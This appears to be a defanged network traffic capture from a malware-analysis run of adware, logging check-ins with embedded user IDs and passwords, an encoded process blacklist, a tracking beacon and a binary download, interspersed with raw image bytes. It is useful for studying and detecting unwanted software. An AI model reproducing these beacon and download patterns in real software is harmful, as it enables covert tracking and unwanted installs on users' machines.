GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 1504

Content-Type: text/html; charset=utf-8

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:45 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2a
cf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8
&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-
36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&
PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&am
p;VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQU1engvXN0rq3VPQPI0y8 orWOLw==" />..&l
t;input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEG<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730966&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 100546

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:47 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730975&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:55 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Fri, 15 May 2015 23:02:55 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1431731024&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:03:44 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Fri, 15 May 2015 23:03:44 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm<<< skipped >>>

GET /13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:24 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972 HTTP/1.1

Host: logs.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:07 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1431730988.dop006.am4.t,1431730987.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 15 May 
2015 23:03:07 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1431730988.dop006.am4.t,1431730987.
cds058.am4.c..GIF89a.............,...........D..;..

GET /cnnnext/dam/assets/150514192742-obama-welcomes-leaders-and-delegations-from-the-gulf-cooperation-council-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 48183

Cache-Control: max-age=2926

Expires: Fri, 15 May 2015 23:53:52 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.P..........................!..1A"Qa..2q..#B...R...$3br........LSs..
&c....T...................................6........................!1.
AQ."aq........2..#3BRb.Sr............?.g.Sr....hu(. [email protected]...*....
~.....5z..d2.I...*.......iF.cb...Q8.D...5j.....).,...).jB.JZM.9.)Z...k
YDu..F....J.r...f^.....!........%D^.7 [.= .YE..!...V.j.V...r.....S"...
3...Qio,!.4..J..% ^.;..I.8;K......7(.IAL.......J.[,.(.(]6.....}Ay....N
.-L!2DfQu-IQ..rQ.E_....`..r,.x.\..C.X..).K..%..........h......F.......
...=?=.Z....TgSf.....x..*..k...(P..(..%'H.ml...J.T.I.C.IKt......o[KeZ.
...; ..\...9.'..u&fWV...,..Z.YU..@.@.}..%...Y.=I...=].E.......qd.....7
XU...m..........I..M...S...\H..[.-.. ......n)...Z.(,.E'M...8.Y 9..i..,
.......R.$%.J..Ap&.^d.....f.r..,[email protected].;...F.-.zST...x.
..............H.. ..R.U.......CC..........2D....=q..!..[j....C...".7..
...gZ.H..O.3..3..p...\K..R....y...h5.;....g.y.%..)J......F.....8..Hi.m
F#..m ..<.n.... c....t*...B..a..i.:.U..Rd..0.-..Q.l...).p....p.....
.ukq).)o...7.#cp.-....J.P..5q....,.> ...U.........U.j.).(e....9t.d]
?...].31..H~.2..4..w>P.=tA.Iy..3.B.i'.H.:.I....o.vw..O!.1.c3.....J~
.|.^.*;...m...9|Nv!j..9.|g.t....?..-bI..|....4T..L....K.}. ..T.$X....*
)............T.7.eJ..3.)y......J.d(.....?....s.@b.|:....P.R...P)I.%C.E
..v..y..YMJ,.uE..raR....Q.g.....#P. .....$J..".N^.Fg.@_1@.)S...)ZH<<< skipped >>>

GET /cnnnext/dam/assets/150414130759-beheading-belgium-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 49585

Cache-Control: max-age=3935

Expires: Sat, 16 May 2015 00:10:42 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.G..........................!..1A."Qa.q..2B..#R...$b....3r...CS..5D..%
..................................=.......................!..1AQ..aq."
.......#2...BR.34.$5br..............?..2..t..g\DnCZ9.C.......u.1d...e.
}..ZB.....1.......<.....r....'.1......4R..aJ......L=.0....,....x..t
z,.U[C.x.M.-.%.R6..p.1.SK.K.B......X.....d.>/.S.CJ..A..p1.U..Mi..h.
~R.!jN..l..I.....V(....N.h...vd...Xa...(6(.7..{a.)..y.u)e_........,9.:
s...}.*m..V..k@M..."3TRb6.....e..)J.}_L:.(j.....i....59.i.T.0.i#...N.u
....ae....jT...cJ!.j.......Y..R5.Gv*.6.y.gV.puu......0.e.p..R...1..$.y
v.{}....@...,,.skNc.LfI..2..K.iZ.T......S5..P...A-.._'e_.#...L.xL..V.s
.....k[jm....tE...0..>..5..s.pyIiA......'`6....sQ.m...v..l.%.....2.
....w.{...q..s...z.8.......?...........V..6.....!IN....4.....*.5..4.$.
%O..!W@ ..k.\..Z$=..V..\.j..]:.v_.]Z...AI......'.Z.....D...m...J#.bz.A
...J....)-..w\h2,.Q7...Q..hS. m.0....\M....a..Aw0...h...\...C....,)...
......8Q...}..F.....n......C...[.r.G1Q...b....0.E...........j.... .zS.
..Qv...8..........M...E'u..F...t8.W.....).I........j. .P.......1f.../D
Sk.!*aaF.m...a..Ha.....6.5...V.^y........R..A .{.u.$..M..uR.a...q.. ..
....`.Ri./.S.q........^..I6x..}o..../..O...iK...uZ...n.....nm..%..x.y.
....B.w?q.k...S...Py-..kHgQ....I6.=v..D....Lb7P.ej.&Z[m.4........ .#..
.C-P....y.._-:.![.s.{.1,..k.....j...Z...I!D[..z....v.M....>P]%H<<< skipped >>>

GET /cnnnext/dam/assets/150408180918-lok-damon-iraq-isis-yazidi-captives-released-00003419-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37321

Cache-Control: max-age=4215

Expires: Sat, 16 May 2015 00:15:23 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..H..........................!.1.AQa.."q2...#BR..3b...$C..r..%4Scs....
&5.................................. ........................!1A.."2Q.
.3aq#B..............?..}.\......!..x.B.B.xP#..j....|.e.e..ZQZ\).F==E..
..M...chJ..B...8.)g.[o..../...$......}vD....)R#.8Q.SKam./#.....r@...~.
.]l.[.V......00.ps..z.Y..-2...|7..@ ..)8..)%..........ko.......VD...%.
8..-.......u.%A...z........*Hq........-yv..D...HIh..............,.....
..?...G..........d.:.GXm...;!%!`......A..~v(.rh.....#.S.W.......:;...%
~.......E ..iw...Z..-........1...G.........G...:..c)..{~c=.G....oJ....
........)>F....%n.m....$..g.AG..<...... ...S.Di....C...}.M9,^.LD
.m.9j..;........'..q.|......b....)..2..*Q*.. .n@....<..<.^.$....
.B.J.8..Sm3&..Cx.bc.. .p.8...>.'...i.*.E...6.a.QbG..T..t.~.........
.2....P.F.}.*.?[E.uJ.........I...9..8..... ...N)!..]b..k..V.l?....1...
?.f..\..tH.R...U..$d.y...o~#.]mM.....q^..Zk.,V.....B...M2..qR.."#/w..5
)@.r*2..G.4.L....mo.......u...'.>...hi......../....^...v...?Y....#&
lt;....q......A..v.)F..i.8.....Q......P..8#.>......!._i..2.C.....P 
......3"w..A&...(..Z..V=..I.w.p.?U..0.\.....U..X..? .;n<..U..c'...K
t...?N.m.../2...).?...Z..9e....*Twe.m..........?P...B..^..G.....K...7.
.HS.l..-.X.N0I...Tu.....pM...v....&8...>.......}h........,...l*B.s.
v<.....i.L.!.mW6.........q..Ut.].......O..&...,.lA.j{..j.....G.<<< skipped >>>

GET /logic/z.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Fri, 15 May 2015 23:03:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Content-Encoding: gzip

3e............327O3O60OLJ...H663LK22NN7.JI6N7.MI6M5(1J2O..hR..*.....0.
.HTTP/1.1 200 OK..Server: Tengine/1.2.2..Date: Fri, 15 May 2015 23:03:
01 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chu
nked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP
/5.3.14..Content-Encoding: gzip..3e............327O3O60OLJ...H663LK22N
N7.JI6N7.MI6M5(1J2O..hR..*.....0..

GET /install.ashx?e=eISsn0A7mAaebxLgvS5H7j0Z7sea5zO dizNi2MXZhw4pnkd WsjWQQHUomMkl9QATvQoDxleFsDxgJnHj3vjx0oWXzPcOQmVR5AawbKoxpMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKumYTzO WELM7Ot/W9fkCR9SjNNCmotLODkERNHBe5a3/5OmEDwJ/nJknf/oU1icLED21v7/3egnkeX/OTNNvo uXwpg8JljDTKpSMpKqvxG3BDQCeFa5Dmqsur1svdrsvrhGKLfFHt1V7tjIGA6N0xQaCfxaep5ymulPRjhMDBkG6r3u1mplIWWDaMPuOqYp9ww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XddWzpj60AbYw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: wt94bf4ec-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Type: application/octet-stream

Content-Length: 2432

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]..,(.A....V..*..S...E.^.:*..I.6..4.......
U..........0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4'/W.on..?t.b...D.... ........C..-.vko...........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._..%...).G.6......9-"...bK.<
;s0....[Hn5.Z..T.......^B..\.^..P../..s$..VPf{...M3.._.[,...C.L.....$.
[email protected].<p....k..d..3....&...8....!.ea.5..5...J....hEq.@
I.E.].........{pjG,`].U.=W...zt......K..O......X..TCn.9N-..-n...NUM...
OI...F.......)...cz.....ah..]...i....H........2c...J.{z.sgK...2.H$....
......j[@....J.{z.F...ja.S..q......'.pZ.Z.......B...... .....B.[_.....
...rB..DgS0m.5..#[email protected]............([email protected].]...;......Z
....$.F.2...U....q{.x...t5..iV.h....8b.....!6.....,-."........E._.f...
...j.'y...c....m........_`.i.I!.....{..!..dB....w...p.&......4`.i.O&e.
..%..}.hP......Q.g.Eu.k.".H...1..L%....,......2.$2J.1$>...P..&....y
.Y.....B.0p...Q....Q.h|.........rv.z..uu.g.h.....;.G:.w.."J.JF...|..y.
....`...q..V.<...._....-g....!.ea.L..............f..%7"[email protected]
..&..Q.q]....F....p.^5~..B...Fy..\..ym...ID.....z...8...y...a.s.....\.
.,I.9!..MT{.6.w.E..e.....-...7)c.....8...b..T.....b....&Ck...c........
...'...X;....V.G...u../.. .....2........G&6..0C.;AK.4...&.xl..l.&J..m.
......fm....P....h:k....m.K #...Pa......Z~..*}....,,J....hEqx....8<<< skipped >>>

GET /?retpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1&fretpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: pass.yandex.ua

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: Cookie_check=1; yp=1747955090.sp.

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 15 May 2015 23:04:50 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

Location: hXXps://pass.yandex.ua/?retpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1&fretpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Cache-Control: no-cache, private, no-cache, no-store, must-revalidate, max-age=0
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx</center>..</body>..</html>....

GET /root-r3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:08 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 594

Connection: keep-alive

Set-Cookie: __cfduid=da5711eccdfeeb81a48c5812adfb17b2b1431731168; expires=Sat, 14-May-16 23:06:08 GMT; path=/; domain=.globalsign.net; HttpOnly

Expires: Wed, 15 Jul 2015 00:00:00 GMT

Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT

Cache-Control: public, max-age=5187232

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1e727dda88d8046d-FRA

0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..150323000000Z..150715000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H...............Z.v..&...B
.....x)....'.u.}.r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R.
 .....rS....t.T_.....Y.R......p OS..2.s........(C.e.x3.#.d6L.d=.UI.;T.
.G...mx....... .......-........-.....J....$.Ko.e#......3....*..3.s...0
.........N..W?'.U...f..h..e...m.9.HTTP/1.1 200 OK..Date: Fri, 15 May 2
015 23:06:08 GMT..Content-Type: application/x-pkcs7-crl..Content-Lengt
h: 594..Connection: keep-alive..Set-Cookie: __cfduid=da5711eccdfeeb81a
48c5812adfb17b2b1431731168; expires=Sat, 14-May-16 23:06:08 GMT; path=
/; domain=.globalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:0
0 GMT..Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: pu
blic, max-age=5187232..CF-Cache-Status: HIT..Accept-Ranges: bytes..Ser
ver: cloudflare-nginx..CF-RAY: 1e727dda88d8046d-FRA..0..N0..6...0...*.
H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0.
..U....GlobalSign..150323000000Z..150715000000Z0..0*........1..F...141
125000000Z0.0...U.......0*........%[email protected]*
........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#..0..
...K...E$.MP.c.......0...*.H...............Z.v..&...B.....x)....'.u.}.
r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R. .....rS....t

<<< skipped >>>

GET /jslibs HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs/
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>......


GET /jslibs/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: api.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

